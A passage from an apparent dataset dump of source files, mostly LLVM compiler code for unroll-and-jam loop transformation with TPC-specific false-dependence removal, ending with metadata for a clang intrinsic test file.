1]->getTerminator());\n BranchInst::Create(SubLoopBlocksFirst[It], SubTerm);\n SubTerm->eraseFromParent();\n\n updatePHIBlocks(SubLoopBlocksFirst[It], ForeBlocksLast[It],\n ForeBlocksLast.back());\n updatePHIBlocks(SubLoopBlocksFirst[It], SubLoopBlocksLast[It],\n SubLoopBlocksLast.back());\n movePHIs(SubLoopBlocksFirst[It], SubLoopBlocksFirst[0]);\n }\n\n // Aft blocks successors and phis\n BranchInst *Term = cast<BranchInst>(AftBlocksLast.back()->getTerminator());\n if (CompletelyUnroll) {\n BranchInst::Create(LoopExit, Term);\n Term->eraseFromParent();\n } else {\n Term->setSuccessor(!ContinueOnTrue, ForeBlocksFirst[0]);\n }\n updatePHIBlocks(AftBlocksFirst[0], SubLoopBlocksLast[0],\n SubLoopBlocksLast.back());\n\n for (unsigned It = 1; It != Count; It++) {\n // Replace the conditional branch of the previous iteration subloop with an\n // unconditional one to this one\n BranchInst *AftTerm =\n cast<BranchInst>(AftBlocksLast[It - 1]->getTerminator());\n BranchInst::Create(AftBlocksFirst[It], AftTerm);\n AftTerm->eraseFromParent();\n\n updatePHIBlocks(AftBlocksFirst[It], SubLoopBlocksLast[It],\n SubLoopBlocksLast.back());\n movePHIs(AftBlocksFirst[It], AftBlocksFirst[0]);\n }\n\n DomTreeUpdater DTU(DT, DomTreeUpdater::UpdateStrategy::Lazy);\n // Dominator Tree. Remove the old links between Fore, Sub and Aft, adding the\n // new ones required.\n if (Count != 1) {\n SmallVector<DominatorTree::UpdateType, 4> DTUpdates;\n DTUpdates.emplace_back(DominatorTree::UpdateKind::Delete, ForeBlocksLast[0],\n SubLoopBlocksFirst[0]);\n DTUpdates.emplace_back(DominatorTree::UpdateKind::Delete,\n SubLoopBlocksLast[0], AftBlocksFirst[0]);\n\n DTUpdates.emplace_back(DominatorTree::UpdateKind::Insert,\n ForeBlocksLast.back(), SubLoopBlocksFirst[0]);\n DTUpdates.emplace_back(DominatorTree::UpdateKind::Insert,\n SubLoopBlocksLast.back(), AftBlocksFirst[0]);\n DTU.applyUpdatesPermissive(DTUpdates);\n }\n\n // Merge adjacent basic blocks, if possible.\n SmallPtrSet<BasicBlock *, 16> MergeBlocks;\n MergeBlocks.insert(ForeBlocksLast.begin(), ForeBlocksLast.end());\n MergeBlocks.insert(SubLoopBlocksLast.begin(), SubLoopBlocksLast.end());\n MergeBlocks.insert(AftBlocksLast.begin(), AftBlocksLast.end());\n while (!MergeBlocks.empty()) {\n BasicBlock *BB = *MergeBlocks.begin();\n BranchInst *Term = dyn_cast<BranchInst>(BB->getTerminator());\n if (Term && Term->isUnconditional() && L->contains(Term->getSuccessor(0))) {\n BasicBlock *Dest = Term->getSuccessor(0);\n BasicBlock *Fold = Dest->getUniquePredecessor();\n if (MergeBlockIntoPredecessor(Dest, &DTU, LI)) {\n // Don't remove BB and add Fold as they are the same BB\n assert(Fold == BB);\n (void)Fold;\n MergeBlocks.erase(Dest);\n } else\n MergeBlocks.erase(BB);\n } else\n MergeBlocks.erase(BB);\n }\n // Apply updates to the DomTree.\n DT = &DTU.getDomTree();\n\n // At this point, the code is well formed. We now do a quick sweep over the\n // inserted code, doing constant propagation and dead code elimination as we\n // go.\n simplifyLoopAfterUnroll(SubLoop, true, LI, SE, DT, AC);\n simplifyLoopAfterUnroll(L, !CompletelyUnroll && Count > 1, LI, SE, DT, AC);\n\n NumCompletelyUnrolledAndJammed += CompletelyUnroll;\n ++NumUnrolledAndJammed;\n\n#ifndef NDEBUG\n // We shouldn't have done anything to break loop simplify form or LCSSA.\n Loop *OuterL = L->getParentLoop();\n Loop *OutestLoop = OuterL ? OuterL : (!CompletelyUnroll ? L : SubLoop);\n assert(OutestLoop->isRecursivelyLCSSAForm(*DT, *LI));\n if (!CompletelyUnroll)\n assert(L->isLoopSimplifyForm());\n assert(SubLoop->isLoopSimplifyForm());\n assert(DT->verify());\n#endif\n\n // Update LoopInfo if the loop is completely removed.\n if (CompletelyUnroll)\n LI->erase(L);\n\n return CompletelyUnroll ? LoopUnrollResult::FullyUnrolled\n : LoopUnrollResult::PartiallyUnrolled;\n}\n\nstatic bool isIntrinsicForTarget(const Instruction *I,\n const std::string &Target) {\n if (const IntrinsicInst *II = dyn_cast<const IntrinsicInst>(I)) {\n Function *F = II->getCalledFunction();\n std::string Fname = F->getName();\n size_t Found = Fname.find(Target);\n if (Found != std::string::npos) {\n return true;\n }\n }\n return false;\n}\n\nstatic bool getLoadsAndStores(BasicBlockSet &Blocks,\n SmallVector<Value *, 4> &MemInstr) {\n // Scan the BBs and collect legal loads and stores.\n // Returns false if non-simple loads/stores are found.\n for (BasicBlock *BB : Blocks) {\n for (Instruction &I : *BB) {\n if (auto *Ld = dyn_cast<LoadInst>(&I)) {\n if (!Ld->isSimple())\n return false;\n MemInstr.push_back(&I);\n } else if (auto *St = dyn_cast<StoreInst>(&I)) {\n if (!St->isSimple())\n return false;\n MemInstr.push_back(&I);\n } else if (I.mayReadOrWriteMemory() && !isIntrinsicForTarget(&I, \"tpc\")) {\n return false;\n }\n }\n }\n return true;\n}\n\nstatic bool checkDependencies(SmallVector<Value *, 4> &Earlier,\n SmallVector<Value *, 4> &Later,\n unsigned LoopDepth, bool InnerLoop,\n DependenceInfo &DI) {\n // Use DA to check for dependencies between loads and stores that make unroll\n // and jam invalid\n for (Value *I : Earlier) {\n for (Value *J : Later) {\n Instruction *Src = cast<Instruction>(I);\n Instruction *Dst = cast<Instruction>(J);\n if (Src == Dst)\n continue;\n // Ignore Input dependencies.\n if (isa<LoadInst>(Src) && isa<LoadInst>(Dst))\n continue;\n // TODO:revisit this to see if it can be made more generic.\n if (isIntrinsicForTarget(Src, \"tpc\") || isIntrinsicForTarget(Dst, \"tpc\"))\n return true;\n // Track dependencies, and if we find them take a conservative approach\n // by allowing only = or < (not >), altough some > would be safe\n // (depending upon unroll width).\n // For the inner loop, we need to disallow any (> <) dependencies\n // FIXME: Allow > so long as distance is less than unroll width\n if (auto D = DI.depends(Src, Dst, true)) {\n assert(D->isOrdered() && \"Expected an output, flow or anti dep.\");\n\n if (D->isConfused()) {\n LLVM_DEBUG(dbgs() << \" Confused dependency between:\\n\"\n << \" \" << *Src << \"\\n\"\n << \" \" << *Dst << \"\\n\");\n return false;\n }\n if (!InnerLoop) {\n if (D->getDirection(LoopDepth) & Dependence::DVEntry::GT) {\n LLVM_DEBUG(dbgs() << \" > dependency between:\\n\"\n << \" \" << *Src << \"\\n\"\n << \" \" << *Dst << \"\\n\");\n return false;\n }\n } else {\n assert(LoopDepth + 1 <= D->getLevels());\n if (D->getDirection(LoopDepth) & Dependence::DVEntry::GT &&\n D->getDirection(LoopDepth + 1) & Dependence::DVEntry::LT) {\n LLVM_DEBUG(dbgs() << \" < > dependency between:\\n\"\n << \" \" << *Src << \"\\n\"\n << \" \" << *Dst << \"\\n\");\n return false;\n }\n }\n }\n }\n }\n return true;\n}\n\nstatic bool checkDependencies(Loop *L, BasicBlockSet &ForeBlocks,\n BasicBlockSet &SubLoopBlocks,\n BasicBlockSet &AftBlocks, DependenceInfo &DI) {\n // Get all loads/store pairs for each blocks\n SmallVector<Value *, 4> ForeMemInstr;\n SmallVector<Value *, 4> SubLoopMemInstr;\n SmallVector<Value *, 4> AftMemInstr;\n if (!getLoadsAndStores(ForeBlocks, ForeMemInstr) ||\n !getLoadsAndStores(SubLoopBlocks, SubLoopMemInstr) ||\n !getLoadsAndStores(AftBlocks, AftMemInstr))\n return false;\n\n // Check for dependencies between any blocks that may change order\n unsigned LoopDepth = L->getLoopDepth();\n return checkDependencies(ForeMemInstr, SubLoopMemInstr, LoopDepth, false,\n DI) &&\n checkDependencies(ForeMemInstr, AftMemInstr, LoopDepth, false, DI) &&\n checkDependencies(SubLoopMemInstr, AftMemInstr, LoopDepth, false,\n DI) &&\n checkDependencies(SubLoopMemInstr, SubLoopMemInstr, LoopDepth, true,\n DI);\n}\n\nnamespace {\n\nclass ReplaceInfo {\nprivate:\n Instruction *Inst;\n Instruction *NewInst;\n PHINode *OldPhi;\n\npublic:\n ReplaceInfo(Instruction *I, Instruction *NI, PHINode *Phi = nullptr);\n void removeOld();\n void replace();\n};\n\nusing ReplaceVec = std::vector<ReplaceInfo>;\n\nclass FalseDependenceAnalyzer {\nprivate:\n BasicBlock *Header;\n BasicBlock *Latch;\n ReplaceVec &RepVec;\n FalseDependenceAnalyzer(const FalseDependenceAnalyzer &) = delete;\n FalseDependenceAnalyzer &operator=(const FalseDependenceAnalyzer &) = delete;\n\nprivate:\n Instruction *isAddMaskOr5x32InsertElement(Value *V);\n IntrinsicInst *isAddMask(Value *V);\n InsertElementInst *is5x32InsertElement(Value *V);\n bool matchIndex(Instruction *FromSubLoop, Instruction *I);\n bool getPhiOps(PHINode *Phi, Instruction *&FromSubLoop,\n Instruction *&FromHeader);\n\n PHINode *collectPhi(Instruction *I);\n bool analyzePhi(PHINode *Phi, InsertElementInst *II);\n\n Value *getNonBackedgeValue(PHINode *HeaderPhi);\n PHINode *collectHeaderPhi(Instruction *FromHeader);\n bool analyzeInstruction(Value *UV, Instruction *FromHeader, PHINode *Phi);\n\npublic:\n FalseDependenceAnalyzer(BasicBlock *H, BasicBlock *L, ReplaceVec &RV);\n bool analyzePhiFromAbove();\n bool analyzePhiFromBelow();\n};\n\nclass FalseDependenceProcessor {\nprivate:\n BasicBlock *Header;\n BasicBlock *Latch;\n ReplaceVec RepVec;\n FalseDependenceProcessor(const FalseDependenceProcessor &) = delete;\n FalseDependenceProcessor &\n operator=(const FalseDependenceProcessor &) = delete;\n\nprivate:\n bool check(Loop *L);\n bool analyzeDependence(BasicBlock *Header, BasicBlock *Latch);\n inline void removeDependence();\n void dumpLCSSA(Loop *L);\n\npublic:\n FalseDependenceProcessor();\n bool run(Loop *L);\n};\n\n} // namespace\n\nReplaceInfo::ReplaceInfo(Instruction *I, Instruction *NewI, PHINode *Phi)\n : Inst(I), NewInst(NewI), OldPhi(Phi) {}\n\nvoid ReplaceInfo::removeOld() {\n if (OldPhi == nullptr)\n return;\n for (int i = OldPhi->getNumOperands() - 1; i >= 0; --i) {\n OldPhi->removeIncomingValue(i, true);\n }\n}\n\nvoid ReplaceInfo::replace() {\n removeOld();\n return;\n}\n\nFalseDependenceAnalyzer::FalseDependenceAnalyzer(BasicBlock *H, BasicBlock *L,\n ReplaceVec &RV)\n : Header(H), Latch(L), RepVec(RV) {}\n\nInstruction *FalseDependenceAnalyzer::isAddMaskOr5x32InsertElement(Value *V) {\n Instruction *Ins = isAddMask(V);\n if (Ins == nullptr) {\n Ins = is5x32InsertElement(V);\n }\n return Ins;\n}\n\nIntrinsicInst *FalseDependenceAnalyzer::isAddMask(Value *V) {\n IntrinsicInst *II = dyn_cast<IntrinsicInst>(V);\n if (II && (II->getIntrinsicID() == Intrinsic::tpc_add_mask))\n return II;\n return nullptr;\n}\n\nInsertElementInst *FalseDependenceAnalyzer::is5x32InsertElement(Value *V) {\n InsertElementInst *II = dyn_cast<InsertElementInst>(V);\n if (II) {\n static LLVMContext &C = Latch->getContext();\n static Type *Int5Ty = VectorType::get(Type::getInt32Ty(C), 5);\n if (Int5Ty == II->getType()) {\n return II;\n }\n }\n return nullptr;\n}\n\nbool FalseDependenceAnalyzer::matchIndex(Instruction *FromSubLoop,\n Instruction *I) {\n bool Ret = false;\n if (auto *FromSubLoopInt = isAddMask(FromSubLoop)) {\n Value *IV = I->getOperand(2);\n int dimMask = dyn_cast<llvm::ConstantInt>(FromSubLoopInt->getOperand(2))\n ->getZExtValue();\n unsigned index = Log2_32(dimMask);\n ConstantInt *IValConst = dyn_cast<ConstantInt>(IV);\n if (IValConst) {\n APInt v1 = (IValConst->getUniqueInteger());\n LLVM_DEBUG(dbgs() << \"matchIndex for add_mask : \" << *v1.getRawData()\n << \", \" << index << \"\\n\");\n Ret = ((*v1.getRawData()) == index);\n }\n } else if (auto *FromSubLoopInt = is5x32InsertElement(FromSubLoop)) {\n Value *IV = I->getOperand(2);\n Value *SV = FromSubLoopInt->getOperand(2);\n ConstantInt *IValConst = dyn_cast<ConstantInt>(IV);\n ConstantInt *SValConst = dyn_cast<ConstantInt>(SV);\n if (IValConst && SValConst) {\n Ret = (IValConst->getValue() == SValConst->getValue());\n LLVM_DEBUG(dbgs() << \"matchIndex for insert_element : \"\n << IValConst->getValue() << \", \"\n << SValConst->getValue() << \"\\n\");\n }\n }\n return Ret;\n}\n\nstatic unsigned getAddMaskOpIdx(Instruction *I) {\n Value *Op0 = I->getOperand(0);\n Value *Op1 = I->getOperand(1);\n assert(!(isa<Constant>(Op0) && isa<Constant>(Op1)) &&\n \"Operand-0 and Operand-1 both cannot be Constant Values\");\n assert((isa<Constant>(Op0) || isa<Constant>(Op1)) &&\n \"Either Operand-0 or Operand-1 must be a Constant Value\");\n return isa<Constant>(Op0) ? 1 : 0;\n}\n\nbool FalseDependenceAnalyzer::getPhiOps(PHINode *Phi, Instruction *&FromSubLoop,\n Instruction *&FromHeader) {\n if (Phi->getNumOperands() != 1)\n return false;\n // get lccssa Phi-node\n LLVM_DEBUG(dbgs() << \"getiPhiOps Phi node :\"\n << \"\\n\");\n LLVM_DEBUG(Phi->dump());\n Value *PV = Phi->getIncomingValue(0);\n BasicBlock *PB = Phi->getIncomingBlock(0);\n Instruction *II = isAddMaskOr5x32InsertElement(PV);\n if (II == nullptr)\n return false;\n unsigned opIdx = 0;\n if (Instruction *Ins = isAddMask(PV)) {\n opIdx = getAddMaskOpIdx(Ins);\n }\n Value *Vec = II->getOperand(opIdx);\n if (PHINode *FinalPhi = dyn_cast<PHINode>(Vec)) {\n LLVM_DEBUG(dbgs() << \"final Phi :\");\n LLVM_DEBUG(FinalPhi->dump());\n // figure out the header and sub-loop ops\n // trace and find the actual insert elements in header and sub-loops\n Value *vHead = FinalPhi->getIncomingValueForBlock(Header);\n if (Instruction *I = isAddMaskOr5x32InsertElement(vHead)) {\n FromHeader = I;\n LLVM_DEBUG(dbgs() << \"instruction from header :\");\n LLVM_DEBUG(FromHeader->dump());\n }\n Value *vCurr = FinalPhi->getIncomingValueForBlock(PB);\n if (Instruction *I = isAddMaskOr5x32InsertElement(vCurr)) {\n FromSubLoop = I;\n LLVM_DEBUG(dbgs() << \"instruction from sub-loop :\");\n LLVM_DEBUG(FromSubLoop->dump());\n }\n\n PHINode *HeaderPhi;\n if (!FromHeader && FromSubLoop && (HeaderPhi = dyn_cast<PHINode>(vHead))) {\n FromHeader = HeaderPhi;\n LLVM_DEBUG(dbgs() << \"Couldn't get the coord-update in the Header\\n\");\n LLVM_DEBUG(dbgs() << \"Trying to fix: \" << HeaderPhi->getName() << \"\\n\");\n return false; // not as per plan, but try fixing this Phi\n }\n\n if (FromHeader && FromSubLoop)\n return true;\n }\n return false;\n}\n\nPHINode *FalseDependenceAnalyzer::collectHeaderPhi(Instruction *FromHeader) {\n PHINode *HeaderPhi = nullptr;\n Value *Vec = FromHeader->getOperand(0);\n PHINode *P = dyn_cast<PHINode>(Vec);\n if (P == nullptr) {\n if (InsertElementInst *IE = dyn_cast<InsertElementInst>(Vec)) {\n Vec = IE->getOperand(0);\n }\n }\n if ((P = dyn_cast<PHINode>(Vec))) {\n HeaderPhi = P;\n LLVM_DEBUG(FromHeader->dump());\n LLVM_DEBUG(dbgs() << \"header Phi node in insert_element/add_mask :\"\n << HeaderPhi->getName() << \"\\n\");\n }\n return HeaderPhi;\n}\n\nValue *FalseDependenceAnalyzer::getNonBackedgeValue(PHINode *HeaderPhi) {\n BasicBlock *upperBlock = HeaderPhi->getIncomingBlock(0);\n if (upperBlock == Latch) {\n upperBlock = HeaderPhi->getIncomingBlock(1);\n }\n Value *UV = HeaderPhi->getIncomingValueForBlock(upperBlock);\n return UV;\n}\n\nbool FalseDependenceAnalyzer::analyzeInstruction(Value *UV,\n Instruction *FromHeader,\n PHINode *HeaderPhi) {\n bool Ret = false;\n Instruction *UVInst = isAddMaskOr5x32InsertElement(UV);\n Value *UVVec = nullptr;\n\n if (UVInst) {\n if (matchIndex(FromHeader, UVInst))\n return false;\n UVVec = UVInst->getOperand(0);\n } else {\n UVInst = dyn_cast<PHINode>(UV);\n if (!UVInst)\n return false;\n UVVec = UVInst;\n }\n\n if (PHINode *LastPhi = dyn_cast<PHINode>(UVVec)) {\n LLVM_DEBUG(dbgs() << \"last Phi node in insert_element/add_mask :\"\n << LastPhi->getName() << \"\\n\");\n if (PHINode *OldPhi = HeaderPhi) {\n LLVM_DEBUG(dbgs() << \"old Phi node in insert_element/add_mask :\"\n << OldPhi->getName() << \"\\n\");\n\n LLVM_DEBUG(dbgs() << \"Killing \" << *OldPhi << \"\\n\");\n\n if (OldPhi->getNumIncomingValues() != 2)\n return false;\n\n // Check if there are uses of the OldPhi and update them before we kill\n // it.\n for (User *U : OldPhi->users()) {\n LLVM_DEBUG(dbgs() << \"Used by: \" << *U << \"\\n\");\n auto UserInst = dyn_cast<Instruction>(U);\n if (!UserInst)\n break;\n\n InsertElementInst *CoordInst = is5x32InsertElement(UserInst);\n if (!CoordInst)\n break;\n\n Value *LatchInc = OldPhi->getIncomingValueForBlock(Latch);\n if (!LatchInc)\n return false;\n\n PHINode *LCSSAPhi = dyn_cast<PHINode>(LatchInc);\n if (!LCSSAPhi)\n return false;\n\n unsigned PreheaderIdx = 0;\n if (OldPhi->getBasicBlockIndex(Latch) == 0)\n PreheaderIdx = 1;\n\n Value *PhiSubstitute = OldPhi->getIncomingValue(PreheaderIdx);\n U->replaceUsesOfWith(OldPhi, PhiSubstitute);\n }\n\n ReplaceInfo ri(/* Inst */ FromHeader, /* NewInst */ UVInst, OldPhi);\n RepVec.push_back(ri);\n Ret = true;\n }\n }\n return Ret;\n}\n\nbool FalseDependenceAnalyzer::analyzePhiFromAbove() {\n bool Ret = false;\n LLVM_DEBUG(dbgs() << \"trying analyzeAndReplacePhiFromAbove.\"\n << \"\\n\");\n size_t NumCand = 0;\n SmallVector<PHINode *, 4> RedundantPHIs;\n\n for (auto &HeadPhi : Header->phis()) {\n Value *V = HeadPhi.getIncomingValueForBlock(Latch);\n PHINode *LatchPhi = dyn_cast<PHINode>(V);\n if (LatchPhi == nullptr)\n continue;\n\n ++NumCand;\n LLVM_DEBUG(dbgs() << \"latch Phi = \" << LatchPhi->getName() << \"\\n\");\n Instruction *FromSubLoop = nullptr;\n Instruction *FromHeader = nullptr;\n bool succ = getPhiOps(LatchPhi, FromSubLoop, FromHeader);\n\n if (!succ) {\n PHINode *HeaderPhi = nullptr;\n if (FromHeader && (HeaderPhi = dyn_cast<PHINode>(FromHeader)) &&\n HeaderPhi->getNumIncomingValues() == 2) {\n RedundantPHIs.push_back(HeaderPhi);\n LLVM_DEBUG(\n dbgs() << \"getPhiOps failed since there's another level of PHI: \"\n << HeaderPhi->getName() << \"\\n\");\n continue;\n }\n\n Ret = false;\n break;\n }\n LLVM_DEBUG(dbgs() << \"getPhiOps suceeded.\"\n << \"\\n\");\n PHINode *HeaderPhi = collectHeaderPhi(FromHeader);\n if (HeaderPhi == nullptr) {\n Ret = false;\n break;\n }\n Value *UV = getNonBackedgeValue(HeaderPhi);\n if (UV == nullptr) {\n Ret = false;\n break;\n }\n Ret = analyzeInstruction(UV, FromHeader, HeaderPhi);\n if (!Ret) {\n break;\n }\n }\n\n for (PHINode *RedundantPHI : RedundantPHIs) {\n unsigned PreheaderIdx = 0;\n if (RedundantPHI->getBasicBlockIndex(Latch) == 0)\n PreheaderIdx = 1;\n LLVM_DEBUG(dbgs() << \"Killing: \" << *RedundantPHI << \"\\n\");\n RedundantPHI->replaceAllUsesWith(\n RedundantPHI->getIncomingValue(PreheaderIdx));\n for (int i = RedundantPHI->getNumOperands() - 1; i >= 0; --i) {\n RedundantPHI->removeIncomingValue(i, true);\n }\n }\n\n LLVM_DEBUG(dbgs() << \"# candidates = \" << NumCand << \"\\n\");\n LLVM_DEBUG(dbgs() << \"# replacement = \" << RepVec.size() << \"\\n\");\n LLVM_DEBUG(dbgs() << \"analyzeAndReplacePhiFromAbove Ret = \" << Ret << \"\\n\");\n return Ret;\n}\n\nPHINode *FalseDependenceAnalyzer::collectPhi(Instruction *I) {\n PHINode *Phi = nullptr;\n Value *Vec = I->getOperand(0);\n if (PHINode *P = dyn_cast<PHINode>(Vec)) {\n Phi = P;\n LLVM_DEBUG(I->dump());\n LLVM_DEBUG(dbgs() << \"Phi node in insert_element/add_mask :\"\n << Phi->getName() << \"\\n\");\n }\n return Phi;\n}\n\nbool FalseDependenceAnalyzer::analyzePhi(PHINode *Phi, InsertElementInst *II) {\n Instruction *FromSubLoop = nullptr;\n Instruction *FromHeader = nullptr;\n bool Succ = getPhiOps(Phi, FromSubLoop, FromHeader);\n if (!Succ)\n return false;\n bool Match = matchIndex(FromSubLoop, II);\n if (!Match) {\n LLVM_DEBUG(dbgs() << \"insert_element/add_mask target not matched. No \"\n \"transform will be done.\"\n << \"\\n\");\n return false;\n }\n LLVM_DEBUG(\n dbgs() << \"insert_element/add_mask target matched. Recording replacement.\"\n << \"\\n\");\n ReplaceInfo ri(II, FromHeader);\n RepVec.push_back(ri);\n return true;\n}\n\nbool FalseDependenceAnalyzer::analyzePhiFromBelow() {\n bool Ret = false;\n LLVM_DEBUG(dbgs() << \"trying analyzeAndReplacePhiFromBelow.\"\n << \"\\n\");\n size_t NumCand = 0;\n for (auto &HeadPhi : Header->phis()) {\n Value *V = HeadPhi.getIncomingValueForBlock(Latch);\n InsertElementInst *II = is5x32InsertElement(V);\n if (II == nullptr)\n continue;\n ++NumCand;\n PHINode *Phi = collectPhi(II);\n if (!Phi) {\n LLVM_DEBUG(dbgs() << \"Phi node in insert_element/add_mask not found.\"\n << \"\\n\");\n Ret = false;\n break;\n }\n Ret = analyzePhi(Phi, II);\n if (!Ret) {\n break;\n }\n }\n\n LLVM_DEBUG(dbgs() << \"# candidates = \" << NumCand << \"\\n\");\n LLVM_DEBUG(dbgs() << \"# replacement = \" << RepVec.size() << \"\\n\");\n LLVM_DEBUG(dbgs() << \"analyzeAndReplacePhiFromBelow Ret = \" << Ret << \"\\n\");\n return Ret;\n}\n\nFalseDependenceProcessor::FalseDependenceProcessor()\n : Header(nullptr), Latch(nullptr) {}\n\nbool FalseDependenceProcessor::analyzeDependence(BasicBlock *Header,\n BasicBlock *Latch) {\n FalseDependenceAnalyzer analyzer(Header, Latch, RepVec);\n if (analyzer.analyzePhiFromBelow() || analyzer.analyzePhiFromAbove())\n return true;\n return false;\n}\n\nvoid FalseDependenceProcessor::removeDependence() {\n for (auto &r : RepVec) {\n r.replace();\n }\n}\n\nvoid FalseDependenceProcessor::dumpLCSSA(Loop *L) {\n LLVM_DEBUG({\n dbgs() << \"Dump LCSSA... start\"\n << \"\\n\";\n for (BasicBlock *BB : L->getBlocks()) {\n BB->dump();\n }\n dbgs() << \"Dump LCSSA... end\"\n << \"\\n\";\n });\n}\n\nbool FalseDependenceProcessor::check(Loop *L) {\n if (!L->isLoopSimplifyForm() || L->getSubLoops().size() != 1)\n return false;\n Loop *SubLoop = L->getSubLoops()[0];\n if (!SubLoop->isLoopSimplifyForm())\n return false;\n\n Header = L->getHeader();\n Latch = L->getLoopLatch();\n BasicBlock *Exit = L->getExitingBlock();\n BasicBlock *SubLoopHeader = SubLoop->getHeader();\n BasicBlock *SubLoopLatch = SubLoop->getLoopLatch();\n BasicBlock *SubLoopExit = SubLoop->getExitingBlock();\n\n if (Latch != Exit)\n return false;\n if (SubLoopLatch != SubLoopExit)\n return false;\n\n if (Header->hasAddressTaken() || SubLoopHeader->hasAddressTaken())\n return false;\n\n return true;\n}\n\nbool FalseDependenceProcessor::run(Loop *L) {\n bool Check = check(L);\n if (!Check) {\n LLVM_DEBUG(dbgs() << \"Pre-requisite check before false dependence failed \"\n \"still trying unroll-and-jam\\n\");\n return false;\n }\n\n dumpLCSSA(L);\n bool Succ = analyzeDependence(Header, Latch);\n if (!Succ) {\n LLVM_DEBUG(dbgs() << \"No false dependence fixed \"\n \"still trying unroll-and-jam\\n\");\n return false;\n }\n\n removeDependence();\n dumpLCSSA(L);\n return true;\n}\n\nbool llvm::removeFalseDependence(Loop *L) {\n FalseDependenceProcessor Proc;\n return Proc.run(L);\n}\n\nbool llvm::isSafeToUnrollAndJam(Loop *L, ScalarEvolution &SE, DominatorTree &DT,\n DependenceInfo &DI, bool AssumeSafety) {\n /* We currently handle outer loops like this:\n |\n ForeFirst <----\\ }\n Blocks | } ForeBlocks\n ForeLast | }\n | |\n SubLoopFirst <\\ | }\n Blocks | | } SubLoopBlocks\n SubLoopLast -/ | }\n | |\n AftFirst | }\n Blocks | } AftBlocks\n AftLast ------/ }\n |\n\n There are (theoretically) any number of blocks in ForeBlocks, SubLoopBlocks\n and AftBlocks, providing that there is one edge from Fores to SubLoops,\n one edge from SubLoops to Afts and a single outer loop exit (from Afts).\n In practice we currently limit Aft blocks to a single block, and limit\n things further in the profitablility checks of the unroll and jam pass.\n\n Because of the way we rearrange basic blocks, we also require that\n the Fore blocks on all unrolled iterations are safe to move before the\n SubLoop blocks of all iterations. So we require that the phi node looping\n operands of ForeHeader can be moved to at least the end of ForeEnd, so that\n we can arrange cloned Fore Blocks before the subloop and match up Phi's\n correctly.\n\n i.e. The old order of blocks used to be F1 S1_1 S1_2 A1 F2 S2_1 S2_2 A2.\n It needs to be safe to tranform this to F1 F2 S1_1 S2_1 S1_2 S2_2 A1 A2.\n\n There are then a number of checks along the lines of no calls, no\n exceptions, inner loop IV is consistent, etc. Note that for loops requiring\n runtime unrolling, UnrollRuntimeLoopRemainder can also fail in\n UnrollAndJamLoop if the trip count cannot be easily calculated.\n */\n\n if (!L->isLoopSimplifyForm() || L->getSubLoops().size() != 1)\n return false;\n Loop *SubLoop = L->getSubLoops()[0];\n if (!SubLoop->isLoopSimplifyForm())\n return false;\n\n BasicBlock *Header = L->getHeader();\n BasicBlock *Latch = L->getLoopLatch();\n BasicBlock *Exit = L->getExitingBlock();\n BasicBlock *SubLoopHeader = SubLoop->getHeader();\n BasicBlock *SubLoopLatch = SubLoop->getLoopLatch();\n BasicBlock *SubLoopExit = SubLoop->getExitingBlock();\n\n if (Latch != Exit)\n return false;\n if (SubLoopLatch != SubLoopExit)\n return false;\n\n if (Header->hasAddressTaken() || SubLoopHeader->hasAddressTaken()) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; Address taken\\n\");\n return false;\n }\n\n // Split blocks into Fore/SubLoop/Aft based on dominators\n BasicBlockSet SubLoopBlocks;\n BasicBlockSet ForeBlocks;\n BasicBlockSet AftBlocks;\n if (!partitionOuterLoopBlocks(L, SubLoop, ForeBlocks, SubLoopBlocks,\n AftBlocks, &DT)) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; Incompatible loop layout\\n\");\n return false;\n }\n\n // Aft blocks may need to move instructions to fore blocks, which becomes more\n // difficult if there are multiple (potentially conditionally executed)\n // blocks. For now we just exclude loops with multiple aft blocks.\n if (AftBlocks.size() != 1) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; Can't currently handle \"\n \"multiple blocks after the loop\\n\");\n return false;\n }\n\n // Check inner loop backedge count is consistent on all iterations of the\n // outer loop\n if (!hasIterationCountInvariantInParent(SubLoop, SE)) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; Inner loop iteration count is \"\n \"not consistent on each iteration\\n\");\n return false;\n }\n\n // Check the loop safety info for exceptions.\n if (!AssumeSafety) {\n SimpleLoopSafetyInfo LSI;\n LSI.computeLoopSafetyInfo(L);\n if (LSI.anyBlockMayThrow()) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; Something may throw\\n\");\n return false;\n }\n }\n\n // We've ruled out the easy stuff and now need to check that there are no\n // interdependencies which may prevent us from moving the:\n // ForeBlocks before Subloop and AftBlocks.\n // Subloop before AftBlocks.\n // ForeBlock phi operands before the subloop\n\n // Make sure we can move all instructions we need to before the subloop\n if (!processHeaderPhiOperands(\n Header, Latch, AftBlocks, [&AftBlocks, &SubLoop](Instruction *I) {\n if (SubLoop->contains(I->getParent()))\n return false;\n if (AftBlocks.count(I->getParent())) {\n // If we hit a phi node in afts we know we are done (probably\n // LCSSA)\n if (isa<PHINode>(I))\n return false;\n // Can't move instructions with side effects or memory\n // reads/writes\n if (I->mayHaveSideEffects() || I->mayReadOrWriteMemory())\n return false;\n }\n // Keep going\n return true;\n })) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; can't move required \"\n \"instructions after subloop to before it\\n\");\n return false;\n }\n\n // Check for memory dependencies which prohibit the unrolling we are doing.\n // Because of the way we are unrolling Fore/Sub/Aft blocks, we need to check\n // there are no dependencies between Fore-Sub, Fore-Aft, Sub-Aft and Sub-Sub.\n if (!checkDependencies(L, ForeBlocks, SubLoopBlocks, AftBlocks, DI)) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; failed dependency check\\n\");\n return false;\n }\n\n return true;\n}\n" }, { "alpha_fraction": 0.5245347023010254, "alphanum_fraction": 0.6514382362365723, "avg_line_length": 48.25, "blob_id": "572286fa4e00e184b2df784e618deb91dfde48f0", "content_id": "0c972400eafe5dff1f1c2840efaba87dba34a236", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 591, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat256_to_uint256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR 